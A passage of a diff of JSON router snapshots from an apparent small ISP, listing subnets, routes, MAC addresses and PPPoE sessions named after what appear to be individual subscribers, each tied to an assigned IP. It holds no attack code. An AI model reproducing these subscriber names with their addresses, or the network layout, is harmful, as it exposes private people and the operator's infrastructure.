"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.199/32",
|
||||
"network": "100.64.7.198",
|
||||
"interface": "<pppoe-tammieventris>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.197/32",
|
||||
"network": "100.64.7.196",
|
||||
"interface": "<pppoe-crystalharney>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.195/32",
|
||||
"network": "100.64.7.194",
|
||||
"interface": "<pppoe-johnvayo>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.193/32",
|
||||
"network": "100.64.7.192",
|
||||
"interface": "<pppoe-glendabeauchamp>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.189/32",
|
||||
"network": "100.64.7.188",
|
||||
"interface": "<pppoe-carolstrickland>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.242/32",
|
||||
"network": "100.64.7.184",
|
||||
"interface": "<pppoe-jmichaelculverhouse>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.248/32",
|
||||
"network": "100.64.7.181",
|
||||
"interface": "<pppoe-elviraquezada>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.183/32",
|
||||
"network": "100.64.7.177",
|
||||
"interface": "<pppoe-rhondabolton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.236/32",
|
||||
"network": "100.64.7.175",
|
||||
"interface": "<pppoe-janetkern>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.202/32",
|
||||
"network": "100.64.7.171",
|
||||
"interface": "<pppoe-timbagert>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.190/32",
|
||||
"network": "100.64.7.170",
|
||||
"interface": "<pppoe-gregmcintire>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.173/32",
|
||||
"network": "100.64.7.167",
|
||||
"interface": "<pppoe-ruthfengler>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.250/32",
|
||||
"network": "100.64.4.1",
|
||||
"interface": "<pppoe-mauriciosoto>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.169/32",
|
||||
"network": "100.64.7.164",
|
||||
"interface": "<pppoe-jenniferboon>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.165/32",
|
||||
"network": "100.64.7.163",
|
||||
"interface": "<pppoe-buddyswan>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether4-380-airfiber24",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C3",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5-494",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C4",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-verona-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C5",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether8-michael",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C7",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus1",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:D0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-amberprater>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-bryangoulart>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-buddyswan>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-carolstrickland>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chadwhitsell>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-charlesboone>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chasewilliams>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-crystalharney>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cynthiajones>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-donnacampbell>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-douggarber>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-eddieyarbrough>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-elviraquezada>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1484
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-glendabeauchamp>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-gordonhamilton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-gregmcintire>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-janetkern>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-janicealexander>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jenniferboon>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jmichaelculverhouse>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-johnvayo>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-marysmelser>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-matthewgoodwin>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mauriciosoto>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-michaelray>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-rhondabolton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-richardbarragan>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-robbymccollom>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ruthfengler>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-taekim>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-tammieventris>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timbagert>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timgilbert>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "climax-bridge",
|
||||
"type": "bridge",
|
||||
"mac": "F4:1E:57:6B:41:C1",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "mgmt",
|
||||
"type": "bridge",
|
||||
"mac": "F4:1E:57:6B:41:C6",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_sfp-sfpplus1",
|
||||
"type": "vlan",
|
||||
"mac": "F4:1E:57:6B:41:D0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan10_ether7",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether7-switch"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_sfp-sfpplus1",
|
||||
"vlan_id": 10,
|
||||
"interface": "sfp-sfpplus1"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "Climax",
|
||||
"interface": "climax-bridge"
|
||||
}
|
||||
],
|
||||
"routes": [
|
||||
{
|
||||
"destination": "10.10.0.0/20",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.10.80.0/20",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.64/29",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.101/32",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.111/32",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.10.160.0/20",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.0.0/22",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.160.0/20",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.64/27",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.224/27",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.191.0/27",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -1,669 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.102",
|
||||
"identity": null,
|
||||
"timestamp": "2026-02-06T12:54:21.532581",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.0.102.254/24",
|
||||
"network": "10.0.102.0",
|
||||
"interface": "ether1-climaxtower",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.254.254.102/32",
|
||||
"network": "10.254.254.102",
|
||||
"interface": "lo",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.62/27",
|
||||
"network": "204.110.188.32",
|
||||
"interface": "climax-bridge",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.254/22",
|
||||
"network": "100.64.4.0",
|
||||
"interface": "climax-bridge",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.14/29",
|
||||
"network": "10.250.1.8",
|
||||
"interface": "ether3-culleoka-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.30/29",
|
||||
"network": "10.250.1.24",
|
||||
"interface": "ether6-verona-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.70/29",
|
||||
"network": "10.250.1.64",
|
||||
"interface": "ether5-494",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.94/29",
|
||||
"network": "10.250.1.88",
|
||||
"interface": "ether4-380-airfiber24",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.31.254/20",
|
||||
"network": "10.10.16.0",
|
||||
"interface": "mgmt",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.220/32",
|
||||
"network": "204.110.188.38",
|
||||
"interface": "<pppoe-michaelray>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.89/32",
|
||||
"network": "100.64.7.149",
|
||||
"interface": "<pppoe-gordonhamilton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.64/32",
|
||||
"network": "100.64.7.155",
|
||||
"interface": "<pppoe-bryangoulart>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.148/32",
|
||||
"network": "100.64.7.160",
|
||||
"interface": "<pppoe-marysmelser>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.159/32",
|
||||
"network": "100.64.7.246",
|
||||
"interface": "<pppoe-chasewilliams>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.162/32",
|
||||
"network": "100.64.7.243",
|
||||
"interface": "<pppoe-charlesboone>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.163/32",
|
||||
"network": "100.64.7.244",
|
||||
"interface": "<pppoe-timgilbert>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.9/32",
|
||||
"network": "100.64.7.118",
|
||||
"interface": "<pppoe-rhondabolton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.2/32",
|
||||
"network": "100.64.7.66",
|
||||
"interface": "<pppoe-robbymccollom>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.22/32",
|
||||
"network": "100.64.7.241",
|
||||
"interface": "<pppoe-matthewgoodwin>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.10/32",
|
||||
"network": "100.64.7.250",
|
||||
"interface": "<pppoe-crystalharney>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.41/32",
|
||||
"network": "100.64.7.249",
|
||||
"interface": "<pppoe-johnvayo>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.7/32",
|
||||
"network": "100.64.7.72",
|
||||
"interface": "<pppoe-cynthiajones>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.11/32",
|
||||
"network": "100.64.7.235",
|
||||
"interface": "<pppoe-timbagert>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.35/32",
|
||||
"network": "100.64.7.248",
|
||||
"interface": "<pppoe-carolstrickland>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.37/32",
|
||||
"network": "100.64.7.27",
|
||||
"interface": "<pppoe-gregmcintire>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.34/32",
|
||||
"network": "100.64.7.209",
|
||||
"interface": "<pppoe-jmichaelculverhouse>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.211/32",
|
||||
"network": "204.110.188.42",
|
||||
"interface": "<pppoe-taekim>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.19/32",
|
||||
"network": "100.64.7.91",
|
||||
"interface": "<pppoe-chadwhitsell>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.16/32",
|
||||
"network": "100.64.7.102",
|
||||
"interface": "<pppoe-douggarber>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.12/32",
|
||||
"network": "100.64.7.103",
|
||||
"interface": "<pppoe-glendabeauchamp>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.25/32",
|
||||
"network": "100.64.7.150",
|
||||
"interface": "<pppoe-amberprater>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.5/32",
|
||||
"network": "100.64.7.216",
|
||||
"interface": "<pppoe-ruthfengler>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.6/32",
|
||||
"network": "100.64.7.228",
|
||||
"interface": "<pppoe-elviraquezada>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.3/32",
|
||||
"network": "100.64.7.233",
|
||||
"interface": "<pppoe-janicealexander>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.4/32",
|
||||
"network": "100.64.7.234",
|
||||
"interface": "<pppoe-richardbarragan>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.8/32",
|
||||
"network": "100.64.7.238",
|
||||
"interface": "<pppoe-jenniferboon>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.21/32",
|
||||
"network": "100.64.7.247",
|
||||
"interface": "<pppoe-donnacampbell>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.184/32",
|
||||
"network": "100.64.4.1",
|
||||
"interface": "<pppoe-mauriciosoto>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.13/32",
|
||||
"network": "100.64.7.62",
|
||||
"interface": "<pppoe-buddyswan>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.28/32",
|
||||
"network": "100.64.7.71",
|
||||
"interface": "<pppoe-eddieyarbrough>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.7.18/32",
|
||||
"network": "100.64.7.106",
|
||||
"interface": "<pppoe-tammieventris>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether4-380-airfiber24",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C3",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5-494",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C4",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-verona-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C5",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether8-michael",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:C7",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus1",
|
||||
"type": "ether",
|
||||
"mac": "F4:1E:57:6B:41:D0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-amberprater>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-bryangoulart>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-buddyswan>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-carolstrickland>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chadwhitsell>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-charlesboone>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chasewilliams>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-crystalharney>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cynthiajones>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-donnacampbell>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-douggarber>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-eddieyarbrough>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-elviraquezada>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1484
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-glendabeauchamp>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-gordonhamilton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-gregmcintire>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-janicealexander>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jenniferboon>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jmichaelculverhouse>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-johnvayo>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-marysmelser>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-matthewgoodwin>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mauriciosoto>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-michaelray>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-rhondabolton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-richardbarragan>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-robbymccollom>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ruthfengler>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-taekim>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-tammieventris>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timbagert>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timgilbert>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "climax-bridge",
|
||||
"type": "bridge",
|
||||
"mac": "F4:1E:57:6B:41:C1",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "mgmt",
|
||||
"type": "bridge",
|
||||
"mac": "F4:1E:57:6B:41:C6",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_sfp-sfpplus1",
|
||||
"type": "vlan",
|
||||
"mac": "F4:1E:57:6B:41:D0",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
